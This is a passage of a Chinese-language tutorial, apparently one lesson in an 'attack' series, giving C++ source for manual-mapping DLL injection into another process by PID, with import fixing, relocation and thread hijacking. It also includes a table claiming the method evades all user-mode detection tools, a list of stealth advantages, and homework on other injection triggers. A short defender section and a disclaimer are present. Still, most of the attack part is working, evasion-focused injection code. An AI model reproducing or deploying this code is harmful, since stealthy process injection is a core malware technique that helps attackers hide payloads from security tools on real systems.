    // 这部分在文件和内存中布局相同,直接复制
    memcpy(pMemoryImage, pFileBase, pNtHeaders->OptionalHeader.SizeOfHeaders);
    std::cout << "  复制PE头: " << std::dec << pNtHeaders->OptionalHeader.SizeOfHeaders << " 字节\n";

    // 复制每个节到内存中的正确位置
    PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNtHeaders);
    for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
    {
        // 目标地址:内存镜像基址 + 节的VirtualAddress
        LPVOID pDest = (BYTE*)pMemoryImage + pSection[i].VirtualAddress;

        // 源地址:文件基址 + 节的PointerToRawData
        LPVOID pSrc = (BYTE*)pFileBase + pSection[i].PointerToRawData;

        // 复制大小:取 min(SizeOfRawData, VirtualSize)
        // 原因:文件对齐(0x200)和内存对齐(0x1000)不同,SizeOfRawData 可能 > VirtualSize
        // 例如:.text节 VirtualSize=0x1CC2, SizeOfRawData=0x1E00(向上对齐到512倍数)
        DWORD copySize = min(pSection[i].SizeOfRawData, pSection[i].Misc.VirtualSize);
        if (copySize > 0)
        {
            memcpy(pDest, pSrc, copySize);
        }

        // 处理.bss节:VirtualSize > copySize的部分用0填充
        // 例如:.data节中的未初始化全局变量
        if (pSection[i].Misc.VirtualSize > copySize)
        {
            DWORD bssSize = pSection[i].Misc.VirtualSize - copySize;
            memset((BYTE*)pDest + copySize, 0, bssSize);
        }

        // 输出节信息(Name字段不保证null结尾,需要安全处理)
        char sectionName[9] = {0};
        memcpy(sectionName, pSection[i].Name, 8);
        std::cout << "  映射节区: " << sectionName;
        for (int j = 0; j < 8 - strlen(sectionName); j++)
        {
            std::cout << " ";
        }
        std::cout << " VirtualAddress=0x" << std::hex << pSection[i].VirtualAddress;
        std::cout << " VirtualSize=" << std::dec << pSection[i].Misc.VirtualSize;
        std::cout << " (复制了 " << copySize << " 字节)\n";
    }

    // 返回结果
    if (pImageSize)
    {
        *pImageSize = imageSize;
    }
    return pMemoryImage;
}

/**
 * @brief 获取目标进程中指定模块的基址
 * @param dwProcessId 目标进程ID
 * @param moduleName 模块名称(不区分大小写,如"kernel32.dll")
 * @return 成功返回模块基址,失败返回NULL
 * @details 使用Toolhelp32枚举目标进程的模块列表,解决跨进程ASLR问题
 */
HMODULE GetRemoteModuleHandle(DWORD dwProcessId, const char* moduleName)
{
    // 创建模块快照
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, dwProcessId);
    if (hSnapshot == INVALID_HANDLE_VALUE)
    {
        return NULL;
    }

    // 将ANSI字符串转换为宽字符
    WCHAR wModuleName[MAX_PATH];
    MultiByteToWideChar(CP_ACP, 0, moduleName, -1, wModuleName, MAX_PATH);

    // 遍历模块列表
    MODULEENTRY32 me32;
    me32.dwSize = sizeof(MODULEENTRY32);
    if (Module32First(hSnapshot, &me32))
    {
        do
        {
            // 不区分大小写比较模块名(宽字符版本)
            if (_wcsicmp(me32.szModule, wModuleName) == 0)
            {
                CloseHandle(hSnapshot);
                return me32.hModule;
            }
        } while (Module32Next(hSnapshot, &me32));
    }

    CloseHandle(hSnapshot);
    return NULL;
}

/**
 * @brief 修复导入地址表(IAT)
 *
 * 【为什么需要修复】
 * DLL中的导入函数(如kernel32.LoadLibraryA)只有名字,没有地址。
 * 正常加载时,Windows加载器会填充这些地址。
 * 手工映射必须自己模拟这个过程。
 *
 * 【类比】
 * - 导入表 = 通讯录(只有姓名,没有电话号码)
 * - IAT修复 = 查电话簿,填上号码
 * - GetProcAddress = 电话簿查询工具
 *
 * 【核心数据结构】
 * IMAGE_IMPORT_DESCRIPTOR (导入描述符,每个依赖DLL一个)
 *   ├─ Name: "KERNEL32.dll" (依赖的DLL名)
 *   ├─ OriginalFirstThunk: INT地址(导入名称表)
 *   └─ FirstThunk: IAT地址(需要填充函数地址)
 *
 * IMAGE_THUNK_DATA (导入项,每个函数一个)
 *   ├─ 方式1: 按序号导入(高位为1) → GetProcAddress(hDll, (LPCSTR)123)
 *   └─ 方式2: 按名称导入 → GetProcAddress(hDll, "LoadLibraryA")
 *
 * 【ASLR修复】
 * 本实现正确处理跨进程ASLR:
 * 1. 在本地进程加载DLL,获取函数相对偏移
 * 2. 枚举目标进程模块,获取DLL在目标进程的真实基址
 * 3. 计算公式: 目标函数地址 = 目标DLL基址 + (本地函数地址 - 本地DLL基址)
 *
 * @param pMemoryImage 内存镜像基址
 * @param pRemoteBase 远程基址(本函数未使用,但接口保留)
 * @param dwProcessId 目标进程ID
 * @return 成功返回TRUE,失败返回FALSE
 */
BOOL FixImportTable(LPVOID pMemoryImage, LPVOID pRemoteBase, DWORD dwProcessId)
{
    // 获取PE头信息
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pMemoryImage;
    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pMemoryImage + pDosHeader->e_lfanew);

    // 获取导入表RVA
    DWORD importRVA = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
    if (importRVA == 0)
    {
        std::cout << "  无导入表,跳过修复\n";
        return TRUE;
    }

    // 遍历导入描述符数组(以全0描述符结尾)
    PIMAGE_IMPORT_DESCRIPTOR pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((BYTE*)pMemoryImage + importRVA);
    while (pImportDesc->Name)
    {
        // 获取依赖DLL名称
        char* dllName = (char*)((BYTE*)pMemoryImage + pImportDesc->Name);
        std::cout << "  修复导入DLL: " << dllName << "\n";

        // 在当前进程中加载依赖DLL
        HMODULE hLocalModule = LoadLibraryA(dllName);
        if (!hLocalModule)
        {
            std::cout << "    错误:无法加载 " << dllName << "\n";
            pImportDesc++;
            continue;
        }

        // OriginalFirstThunk → INT(导入名称表) - 保存函数名/序号
        // FirstThunk → IAT(导入地址表) - 需要填充函数地址
        PIMAGE_THUNK_DATA pOriginalThunk = (PIMAGE_THUNK_DATA)((BYTE*)pMemoryImage + pImportDesc->OriginalFirstThunk);
        PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)((BYTE*)pMemoryImage + pImportDesc->FirstThunk);

        // 遍历该DLL的所有导入函数(以0结尾)
        int functionCount = 0;
        while (pOriginalThunk->u1.AddressOfData)
        {
            LPVOID pLocalFunc = NULL;
            char functionName[256] = {0};

            // 判断导入方式:按序号 or 按名称
            if (pOriginalThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)
            {
                // 方式1:按序号导入(高位为1)
                WORD ordinal = IMAGE_ORDINAL(pOriginalThunk->u1.Ordinal);
                pLocalFunc = GetProcAddress(hLocalModule, (LPCSTR)ordinal);
                sprintf_s(functionName, "序号#%d", ordinal);
            }
            else
            {
                // 方式2:按名称导入
                PIMAGE_IMPORT_BY_NAME pImportName = (PIMAGE_IMPORT_BY_NAME)((BYTE*)pMemoryImage + pOriginalThunk->u1.AddressOfData);
                pLocalFunc = GetProcAddress(hLocalModule, pImportName->Name);
                strcpy_s(functionName, pImportName->Name);
            }

            // 计算跨进程地址: 目标函数地址 = 目标DLL基址 + (本地函数地址 - 本地DLL基址)
            if (pLocalFunc)
            {
                ULONGLONG remoteFunc = 0;

                // 获取目标进程中的DLL基址(用于跨进程ASLR修复)
                HMODULE hRemoteModule = GetRemoteModuleHandle(dwProcessId, dllName);
                if (!hRemoteModule)
                {
                    // 如果无法获取远程模块基址,使用本地基址作为降级方案
                    hRemoteModule = hLocalModule;
                }

                // 获取本地DLL的模块大小(用于边界检查)
                MODULEINFO moduleInfo = {0};
                if (GetModuleInformation(GetCurrentProcess(), hLocalModule, &moduleInfo, sizeof(moduleInfo)))
                {
                    ULONGLONG localModuleEnd = (ULONGLONG)moduleInfo.lpBaseOfDll + moduleInfo.SizeOfImage;

                    // 检查函数地址是否在模块范围内(检测转发导出)
                    if ((ULONGLONG)pLocalFunc < (ULONGLONG)hLocalModule || (ULONGLONG)pLocalFunc >= localModuleEnd)
                    {
                        // 转发导出:直接使用GetProcAddress返回的地址
                        remoteFunc = (ULONGLONG)pLocalFunc;
                    }
                    else
                    {
                        // 正常情况:函数在模块内,使用偏移计算
                        ULONGLONG offset = (ULONGLONG)pLocalFunc - (ULONGLONG)hLocalModule;
                        remoteFunc = (ULONGLONG)hRemoteModule + offset;
                    }
                }
                else
                {
                    // 获取模块信息失败,直接使用偏移计算
                    ULONGLONG offset = (ULONGLONG)pLocalFunc - (ULONGLONG)hLocalModule;
                    remoteFunc = (ULONGLONG)hRemoteModule + offset;
                }

                pThunk->u1.Function = remoteFunc;
            }
            else
            {
                FreeLibrary(hLocalModule);
                return FALSE;
            }

            functionCount++;
            pOriginalThunk++;
            pThunk++;
        }

        std::cout << "    修复了 " << std::dec << functionCount << " 个函数\n";

        FreeLibrary(hLocalModule);
        pImportDesc++;
    }

    return TRUE;
}

/**
 * @brief 处理基址重定位
 *
 * 【为什么需要重定位】
 * 编译器生成DLL时,会假设它加载到某个固定地址(ImageBase)。
 * 代码中的绝对地址都是基于这个假设编译的。
 * 如果实际加载地址不同,这些地址就全错了,必须修正。
 *
 * 【类比】
 * - ImageBase = 公司原定地址"中关村100号"
 * - 实际加载地址 = 公司实际搬到"望京200号"
 * - 重定位 = 把所有文件中的"中关村100号"改成"望京200号"
 *
 * 【重定位公式】
 * 新地址 = 旧地址 + (实际基址 - 编译时基址)
 * 即: 新地址 = 旧地址 + delta
 *
 * 【重定位表结构】
 * IMAGE_BASE_RELOCATION (重定位块,按4KB页分组)
 *   ├─ VirtualAddress: 这一块重定位的页基址
 *   ├─ SizeOfBlock: 这个块的总大小
 *   └─ 重定位项数组(每项2字节):
 *        高4位 = 重定位类型(DIR64/HIGHLOW/ABSOLUTE)
 *        低12位 = 页内偏移(0-4095)
 *
 * @param pMemoryImage 内存镜像基址
 * @param pRemoteBase 远程基址(实际加载地址)
 * @return 成功返回TRUE,失败返回FALSE
 */
BOOL ProcessRelocation(LPVOID pMemoryImage, LPVOID pRemoteBase)
{
    // 获取PE头信息
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pMemoryImage;
    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pMemoryImage + pDosHeader->e_lfanew);

    // 计算基址差(delta)
    ULONGLONG originalBase = pNtHeaders->OptionalHeader.ImageBase;
    ULONGLONG newBase = (ULONGLONG)pRemoteBase;
    LONGLONG delta = newBase - originalBase;

    // 如果加载到首选基址,无需重定位
    if (delta == 0)
    {
        std::cout << "  加载到首选基址,无需重定位\n";
        return TRUE;
    }

    // 获取重定位表
    DWORD relocRVA = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
    DWORD relocSize = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
    if (relocRVA == 0 || relocSize == 0)
    {
        std::cout << "  无重定位表,跳过重定位\n";
        return TRUE;
    }

    // 遍历所有重定位块
    PIMAGE_BASE_RELOCATION pReloc = (PIMAGE_BASE_RELOCATION)((BYTE*)pMemoryImage + relocRVA);
    int relocBlockCount = 0;
    int relocEntryCount = 0;
    while (pReloc->VirtualAddress && ((BYTE*)pReloc < (BYTE*)pMemoryImage + relocRVA + relocSize))
    {
        // 计算当前块包含多少个重定位项
        // 公式: (块大小 - 块头大小) / 每项大小(2字节)
        DWORD numEntries = (pReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
        PWORD pRelocData = (PWORD)((BYTE*)pReloc + sizeof(IMAGE_BASE_RELOCATION));

        // 遍历当前块的所有重定位项
        for (DWORD i = 0; i < numEntries; i++)
        {
            // 解析重定位项(2字节):
            // 高4位 = 重定位类型
            // 低12位 = 页内偏移
            WORD relocType = pRelocData[i] >> 12;
            WORD offset = pRelocData[i] & 0x0FFF;

            if (relocType == IMAGE_REL_BASED_DIR64)
            {
                // x64重定位:修改8字节绝对地址
                ULONGLONG* pPatchAddr = (ULONGLONG*)((BYTE*)pMemoryImage + pReloc->VirtualAddress + offset);
                *pPatchAddr += delta;
                relocEntryCount++;
            }
            else if (relocType == IMAGE_REL_BASED_HIGHLOW)
            {
                // x86重定位:修改4字节绝对地址
                DWORD* pPatchAddr = (DWORD*)((BYTE*)pMemoryImage + pReloc->VirtualAddress + offset);
                *pPatchAddr += (DWORD)delta;
                relocEntryCount++;
            }
            // IMAGE_REL_BASED_ABSOLUTE (0) 是填充项,跳过
        }

        relocBlockCount++;

        // 移动到下一个重定位块
        pReloc = (PIMAGE_BASE_RELOCATION)((BYTE*)pReloc + pReloc->SizeOfBlock);
    }

    // 输出统计信息
    std::cout << "  重定位块数量: " << std::dec << relocBlockCount << "\n";
    std::cout << "  重定位项数量: " << std::dec << relocEntryCount << "\n";

    return TRUE;
}

/**
 * @brief 设置节区保护
 * @param hProcess 目标进程句柄
 * @param pRemoteBase 远程基址
 * @param pMemoryImage 内存镜像基址
 * @return 成功返回TRUE,失败返回FALSE
 * @details 根据节区属性设置内存保护(.text=RX, .data=RW)
 */
BOOL SetSectionProtections(HANDLE hProcess, LPVOID pRemoteBase, LPVOID pMemoryImage)
{
    // 获取PE头信息
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pMemoryImage;
    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pMemoryImage + pDosHeader->e_lfanew);
    PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNtHeaders);

    // 遍历所有节区
    for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
    {
        // 根据节区特征确定保护属性
        DWORD protect = PAGE_READONLY;
        if (pSection[i].Characteristics & IMAGE_SCN_MEM_EXECUTE)
        {
            protect = (pSection[i].Characteristics & IMAGE_SCN_MEM_WRITE) ? PAGE_EXECUTE_READWRITE : PAGE_EXECUTE_READ;
        }
        else if (pSection[i].Characteristics & IMAGE_SCN_MEM_WRITE)
        {
            protect = PAGE_READWRITE;
        }

        // 设置节区保护
        LPVOID pSectionAddr = (BYTE*)pRemoteBase + pSection[i].VirtualAddress;
        DWORD oldProtect = 0;
        if (!VirtualProtectEx(hProcess, pSectionAddr, pSection[i].Misc.VirtualSize, protect, &oldProtect))
        {
            std::cout << "  警告:节区 " << (char*)pSection[i].Name << " 保护设置失败\n";
        }
        else
        {
            std::cout << "  节区 " << (char*)pSection[i].Name << " 保护已设置\n";
        }
    }

    return TRUE;
}

// ========== main函数 ==========

int main()
{
    // 输出程序信息
    std::cout << "=== 09-攻击篇-手工映射注入(线程劫持版) ===\n";
    std::cout << "技术难度:★★★★★(本系列课程最高难度)\n\n";
    std::cout << "【核心技术】\n";
    std::cout << "1. RVA → 文件偏移转换(解决VirtualAddress ≠ PointerToRawData)\n";
    std::cout << "2. 本地内存镜像构建(min(SizeOfRawData, VirtualSize)修复致命bug)\n";
    std::cout << "3. IAT修复在内存镜像完成(统一写入)\n";
    std::cout << "4. 重定位在内存镜像完成(统一写入)\n";
    std::cout << "5. 线程劫持执行(SetThreadContext,立即执行)\n";
    std::cout << "6. 节区保护设置(.text=RX, .data=RW)\n";
    std::cout << "7. 体系结构检查(x86/x64匹配)\n\n";
    std::cout << "警告:本程序仅供防御性安全研究与教学使用\n";
    std::cout << "      严禁用于未授权的系统测试或恶意目的\n\n";

    // 获取目标进程PID
    DWORD targetPid = 0;
    std::cout << "请输入目标进程 PID: ";
    std::cin >> targetPid;
    if (targetPid == 0)
    {
        std::cout << "无效的PID\n";
        system("pause");
        return 1;
    }

    // 设置DLL路径并执行注入
    const char* dllPath = "C:\\Injection.dll";
    std::cout << "\nDLL路径: " << dllPath << "\n";
    std::cout << "(可修改源码中的dllPath变量指定其他DLL)\n";

    InjectDllWithManualMapping(targetPid, dllPath);

    system("pause");
    return 0;
}

验证效果

对比所有防御工具

防御工具

检测原理

预期结果

实际结果

01-线程起始地址检测

检查线程起始地址是否在模块内

应该检测

❌ 未检测到(用线程劫持)

03-ETW线程创建监听

监听线程创建事件

应该检测

❌ 无事件(没有创建新线程)

05-模块枚举检测

EnumProcessModules枚举

应该检测

❌ 未枚举到(不注册PEB)

07-LDR断链检测

检查LDR链表完整性

应该检测

❌ 无异常(从未在链表中)

08-内存映射检测

检查内存映射文件

应该检测

❌ 显示正常(不是文件映射)

结论:手工映射 + 线程劫持 = 完全绕过所有用户态检测

验证DllMain执行

在测试DLL的DllMain中添加:

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        MessageBoxA(NULL, "DllMain executed!", "Manual Mapping Success", MB_OK);
    }
    return TRUE;
}

如果注入成功,会弹出消息框。


完整执行流程

┌─────────────────────────────────────────────────────────────┐
│                手工映射注入完整流程(12步)                 │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  [1/12] 打开目标进程          OpenProcess                   │
│     ↓                                                       │
│  [2/12] 读取PE文件            ReadPEFile                    │
│     ↓                                                       │
│  [3/12] 检查体系结构          IsWow64Process                │
│     ↓                                                       │
│  [4/12] 构建内存镜像          BuildMemoryImage              │
│     ↓                                                       │
│  [5/12] 分配远程内存          VirtualAllocEx                │
│     ↓                                                       │
│  [6/12] 修复导入表            FixImportTable                │
│     ↓                                                       │
│  [7/12] 处理重定位            ProcessRelocation             │
│     ↓                                                       │
│  [8/12] 写入内存镜像          WriteProcessMemory            │
│     ↓                                                       │
│  [9/12] 设置节区保护          SetSectionProtections         │
│     ↓                                                       │
│  [10/12] 准备stub             VirtualAllocEx + Write        │
│     ↓                                                       │
│  [11/12] 劫持线程             Suspend/Get/Set/Resume        │
│     ↓                                                       │
│  [12/12] 完成注入             DllMain已执行                 │
│                                                             │
└─────────────────────────────────────────────────────────────┘

优势与局限

优势

  • 最高隐蔽性:完全绕过所有用户态检测
  • 不创建新线程:ETW监控失效
  • 不注册PEB:模块枚举失效
  • 不创建文件映射:内存映射检测失效
  • 立即执行:不需要等待Alertable状态

局限

  1. 实现复杂度极高

    • 需要深入理解PE格式
    • RVA转换、IAT修复、重定位每一步都可能出错
    • 一个细节错误就会导致目标进程崩溃
  2. 兼容性问题

    • 不支持TLS回调(需要额外实现)
    • 不支持延迟加载导入(需要Hook相关API)
    • 某些依赖特殊状态的DLL可能加载失败
  3. 仍可被内核态检测

    • 内核驱动可以拦截 VirtualAllocEx
    • EDR可以检测异常的RWX内存区域
    • 某些杀软会扫描内存中的PE特征
  4. 依然需要其他技术配合

    • 仍然需要获取目标进程句柄
    • 仍然需要写入权限

防御者的反制手段

既然攻击者已经使用了最高级的隐蔽技术,防御者该怎么办?

检测方法原理难度
扫描匿名RWX内存手工映射必须分配可执行内存
内存PE特征扫描搜索”MZ”、”PE”签名
线程上下文监控检测RIP是否在合法模块范围
内核态回调拦截内存分配和线程操作

本节小结

我们完成了什么

步骤

内容

关键API

1

准备DllMain参数

VirtualAllocEx + WriteProcessMemory

2

枚举目标进程线程

CreateToolhelp32Snapshot

3

暂停线程

SuspendThread

4

获取/修改上下文

GetThreadContext + SetThreadContext

5

恢复线程执行

ResumeThread

核心知识点回顾

  1. 线程上下文:CONTEXT结构体,包含所有寄存器状态
  2. RIP寄存器:指向线程下一条要执行的指令
  3. x64调用约定:RCX、RDX、R8、R9传递前4个参数
  4. Shellcode stub:保存状态 → 调用DllMain → 恢复状态 → 跳回

系列总结

通过3节课,我们完整实现了手工映射注入

课程

内容

核心技术

09课(上)

PE解析与内存镜像

PE结构、RVA转换、重定位

10课(中)

导入表修复与远程写入

IAT、ASLR、段保护

11课(下)

线程劫持触发DllMain

CONTEXT、stub、SetThreadContext

这是本系列课程技术难度最高的攻击技术(★★★★★)


课后作业

本节课我们用线程劫持触发了 DllMain,但这不是唯一的方法。

作业:尝试用以下两种方式替换线程劫持,触发手工映射 DLL 的 DllMain:

方式

提示

参考课程

CreateRemoteThread

直接创建远程线程,起始地址指向 DllMain

基础注入课程

APC 注入

QueueUserAPC 将 DllMain 加入 APC 队列

04-攻击篇

思考题

  1. CreateRemoteThread 触发 DllMain,会被哪些检测工具发现?
  2. 用 APC 注入触发 DllMain,有什么限制条件?
  3. 三种触发方式(远程线程、APC、线程劫持),哪种隐蔽性最高?为什么?

推荐阅读

By UD2

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注